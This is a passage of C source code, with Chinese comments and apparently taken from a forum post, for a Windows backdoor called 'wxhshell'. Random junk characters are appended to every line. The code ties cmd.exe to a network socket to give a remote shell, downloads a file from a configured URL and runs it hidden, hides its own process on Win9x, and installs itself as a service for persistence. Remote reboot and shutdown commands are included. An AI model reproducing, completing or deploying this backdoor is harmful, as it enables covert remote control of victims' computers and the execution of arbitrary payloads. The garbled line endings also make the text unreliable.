  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +9_Y0<C  
  } da$FY7  
  else { xRh 22z  
( S[z  
    switch(cmd[0]) { d][ Wm  
  oZ'a}kF  
  // 帮助 N^L@MR-  
  case '?': { 8 x{Owj:Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x?h/e;  
    break; 9K+> ;`  
  } 2\xw2VQ@P  
  // 安装 ~7]V^tG  
  case 'i': { *8}b&4O~  
    if(Install()) t-\+t<;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q0U~s\<  
    else wI%M3XaBws  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \[MAa:/  
    break; I ]m  
    } y'R}  
  // 卸载 fUT[tkb/!  
  case 'r': { ?UXF z'  
    if(Uninstall()) ":!$Jnj,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :#rP$LSYC  
    else -&Rv=q>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {;yO3];Hqw  
    break; *;<fh,wOk  
    } KWJVc `  
  // 显示 wxhshell 所在路径 WTSh#L  
  case 'p': { yaUtDC.|  
    char svExeFile[MAX_PATH]; \v2!5z8|  
    strcpy(svExeFile,"\n\r"); E>~R P^?Uz  
      strcat(svExeFile,ExeFile); n$i X6Cd  
        send(wsh,svExeFile,strlen(svExeFile),0); =?i?-6M  
    break; &W<7!U:2m  
    } #ArrQeO 5_  
  // 重启 6h:QSVfx  
  case 'b': { n Bu!2c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?@64gdlwq  
    if(Boot(REBOOT)) =2R4Z8G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ":]X r!e  
    else { g3^s_*A  
    closesocket(wsh); Kd\0nf6  
    ExitThread(0); 1/DtF  
    } j\y;~ V  
    break; Ymut]`dX  
    } @C;1e7  
  // 关机 +f3Rzx]  
  case 'd': { opcanl9pSW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Hm-#Mpw  
    if(Boot(SHUTDOWN)) YI0 wr1N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h]4xS?6O  
    else { X~{6$J|]#i  
    closesocket(wsh); ",#.?vT`  
    ExitThread(0); sx,$W3zI'G  
    } FYAEM!dyy  
    break; k/K)nH@)  
    } RXgb/VR  
  // 获取shell AWO)]rM  
  case 's': { [txOh!sxD  
    CmdShell(wsh); #CS>_qe.{  
    closesocket(wsh); 77RZ<u9/`  
    ExitThread(0); wh:;G`6S  
    break; .LzA'q1+z  
  } te@m#` p9  
  // 退出 T;w:^XW  
  case 'x': { [,=?e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P\U<,f  
    CloseIt(wsh); qt8Y3:=8l  
    break; *!5CL'  
    } QkrQM&Im  
  // 离开 DB vM.'b$  
  case 'q': { Q):#6|u+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |x}TpM;ni  
    closesocket(wsh); Wf~^,]9N  
    WSACleanup(); w-|Rb~XT h  
    exit(1); @|gG3  
    break; UHl3/m7g  
        } !0{SVsc)  
  } ]kj^T?&n.  
  } {*xE+ |  
4^7 v@3  
  // 提示信息 o}N@Q-i gq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LU3pCM{  
} g~U( w  
  } EP>u%]#  
t{k:H4  
  return; yF)o_OA[uR  
} j\}.GM'8  
Y\ [|k-6  
// shell模块句柄 Aztrq  
int CmdShell(SOCKET sock) $|$@?H>K  
{ J8'"vc}=  
STARTUPINFO si; 4.9qB  
ZeroMemory(&si,sizeof(si)); d4y#n=HnnV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EC?5GNGT,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /T _M't@j  
PROCESS_INFORMATION ProcessInfo; %i9S"  
char cmdline[]="cmd"; !6/UwPs  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {vu\qXmMv  
  return 0; oO2DPcK  
} -H?c4? 5  
;&d#)&O"e  
// 自身启动模式 \/Y(m4<P  
int StartFromService(void) Wa;N(zw0h  
{ "Q:Gd6?h;  
typedef struct x^ s,<G  
{ f;E#CjlTL  
  DWORD ExitStatus; +d, ~h_7!  
  DWORD PebBaseAddress; ieyK$q  
  DWORD AffinityMask; wNa5qp 0  
  DWORD BasePriority; =!TUf/O-  
  ULONG UniqueProcessId; L>Y+}]~  
  ULONG InheritedFromUniqueProcessId; C[FHqo9M?H  
}   PROCESS_BASIC_INFORMATION; Ym'h vK  
1_Yx]%g<  
PROCNTQSIP NtQueryInformationProcess; C4m+Ta %  
r8:r}Qj2w[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /?.?1-HM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ca-"3aQkc  
f2g tz{r  
  HANDLE             hProcess;  AG(6.  
  PROCESS_BASIC_INFORMATION pbi; f_k'@e{  
`Vvi]>,cg`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^G4YvS(  
  if(NULL == hInst ) return 0; TQR5V\{&%  
CJ<nUIy'z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  y|LHnNQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /^=1]+_!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :Xw|v2z%3  
-2.7Z`*(  
  if (!NtQueryInformationProcess) return 0; +wi=IrRr  
zTng]Mvx  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n|5\Q  
  if(!hProcess) return 0; Y3 $jNuV  
.s{ "NqRA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x`6MAZ  
s&7 3g0$$  
  CloseHandle(hProcess); (~~m8VJ>  
w:\} B'u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b0~r/M;J  
if(hProcess==NULL) return 0; n/9afIN  
(T1< (YZ  
HMODULE hMod; &2ED<%hH`  
char procName[255]; J v}  
unsigned long cbNeeded; .`D'eS6b  
ItVN,sVJb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mSYjc)z  
M`Y^hDl6  
  CloseHandle(hProcess); %lCZ7z2o  
H-_gd.VD  
if(strstr(procName,"services")) return 1; // 以服务启动 !Fl'?Kz  
::Zo` vP  
  return 0; // 注册表启动 /WQ.,a  
} "#C2+SKM1  
3Gs\Q{O:  
// 主模块 7. F'1oEf  
int StartWxhshell(LPSTR lpCmdLine) M+ [ho]  
{ eB0exPz%  
  SOCKET wsl; %`]+sg[i  
BOOL val=TRUE; (3n "a'  
  int port=0; snaAn?I4  
  struct sockaddr_in door; "0eX/ rY%  
D!`;vZ\>  
  if(wscfg.ws_autoins) Install(); ,X!6|l8  
' i+L  
port=atoi(lpCmdLine); tpWGmj fo>  
xQsxc  
if(port<=0) port=wscfg.ws_port; G+dq */  
;!<}oZp{  
  WSADATA data; OnTe_JML  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5dj" UxH  
]\*^G@HA2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _xKn2?d8g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  7)2K6<q  
  door.sin_family = AF_INET; F`g(vD >  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H07\z1?.K  
  door.sin_port = htons(port); #eW T-m  
`n&:\Ib  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zQ,rw[C"W  
closesocket(wsl); 1Q@]b_"Xh  
return 1; .UP h  
} `7/(sX.  
/1OCK=  
  if(listen(wsl,2) == INVALID_SOCKET) { c~<;}ve^z  
closesocket(wsl); J&8KIOz14Z  
return 1; -,8LL@_  
} 8lusKww  
  Wxhshell(wsl); O`Tz^Q /D  
  WSACleanup(); a=2.Y?  
V k{;g  
return 0; zYzV!s2^  
P j   
} C|ZPnm>f30  
G)am ng/  
// 以NT服务方式启动  sS-dHa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  9q"kM  
{ nCYkUDnZ  
DWORD   status = 0; Ty g>Xv  
  DWORD   specificError = 0xfffffff; <YvXyIs  
E+]}KX:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ` -_!%m/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8w5}9}xF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X%yG{\6:  
  serviceStatus.dwWin32ExitCode     = 0; :[CV_ME.;  
  serviceStatus.dwServiceSpecificExitCode = 0; }$_@yt<{W@  
  serviceStatus.dwCheckPoint       = 0; 8?Zhh.  
  serviceStatus.dwWaitHint       = 0; ]PS`"o,pF$  
$INB_/R E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9nR\7!_  
  if (hServiceStatusHandle==0) return; .!3e$mhV  
zsp%Cz7T  
status = GetLastError(); %7ngAIg  
  if (status!=NO_ERROR) A-!e$yz>  
{ {s8c@-'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w;lpJ B\  
    serviceStatus.dwCheckPoint       = 0; /h>g-zb  
    serviceStatus.dwWaitHint       = 0; z:\9t[e4  
    serviceStatus.dwWin32ExitCode     = status; p@jw)xI  
    serviceStatus.dwServiceSpecificExitCode = specificError; ed6@o4D/kf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); re*}a)iL  
    return; =Dn <DV  
  } !Se0&Ob  
.OdtM X y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0:V /z3?  
  serviceStatus.dwCheckPoint       = 0; LdZVXp^  
  serviceStatus.dwWaitHint       = 0; SA TX_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~P|;Y<?3  
} R /=rNUe  
Ll]5u~  
// 处理NT服务事件,比如:启动、停止 CXq[VYM&X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 81Z;hO"~  
{ f"s_dR  
switch(fdwControl) \]> YLyG  
{ ~e}JqJ(97  
case SERVICE_CONTROL_STOP: P) vD?)Q  
  serviceStatus.dwWin32ExitCode = 0; FCt<h/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DP{nvsF  
  serviceStatus.dwCheckPoint   = 0; ` @QZK0Ox  
  serviceStatus.dwWaitHint     = 0; e?W ,D0h  
  { M`Q$-#E:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9tHK_),9  
  } ^`cv6;)  
  return; EJn]C=_(  
case SERVICE_CONTROL_PAUSE: >eTbg"\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P<vl+&*  
  break; 'WW:'[Syn'  
case SERVICE_CONTROL_CONTINUE: 5_(\Cd<#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Qj^Uz+b  
  break; CV0id&Nv  
case SERVICE_CONTROL_INTERROGATE: QXb2jWz  
  break; L"b&O<N o  
}; Bt<)1_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S)U*1t7[  
} kp*v:*  
I# tlaz#  
// 标准应用程序主函数 CzBYH   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  ;+~5XLk  
{ .`IhxE~mN  
Em!- W5*s  
// 获取操作系统版本 E&8Nh J  
OsIsNt=GetOsVer(); i)x0 ]XF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ov+{<0Q  
%Xh}{o$G  
  // 从命令行安装 j:%,lcF  
  if(strpbrk(lpCmdLine,"iI")) Install(); $M}"u [Qq  
-_ 9k+AV  
  // 下载执行文件 ]W3_]N 3  
if(wscfg.ws_downexe) { *H/>96  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'x%gJi#  
  WinExec(wscfg.ws_filenam,SW_HIDE); =E2 a#Vd  
} FtTq*[a  
E^)FnXe5  
if(!OsIsNt) { 'iW  
// 如果时win9x,隐藏进程并且设置为注册表启动 vbmt0df  
HideProc(); &. =8Q?  
StartWxhshell(lpCmdLine); > 'R{,1# U  
} TdPd8ig8{  
else "}3sL#|z  
  if(StartFromService()) PSJj$bt;<+  
  // 以服务方式启动 &@6xu{o  
  StartServiceCtrlDispatcher(DispatchTable); Ll KO(Q{"  
else <N)!s&D  
  // 普通方式启动  vm! y2  
  StartWxhshell(lpCmdLine); JRB6T_U  
]$g07 7o  
return 0; v-#,@&Uwq  
}
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只看该作者 1 发表于: 2006-10-10
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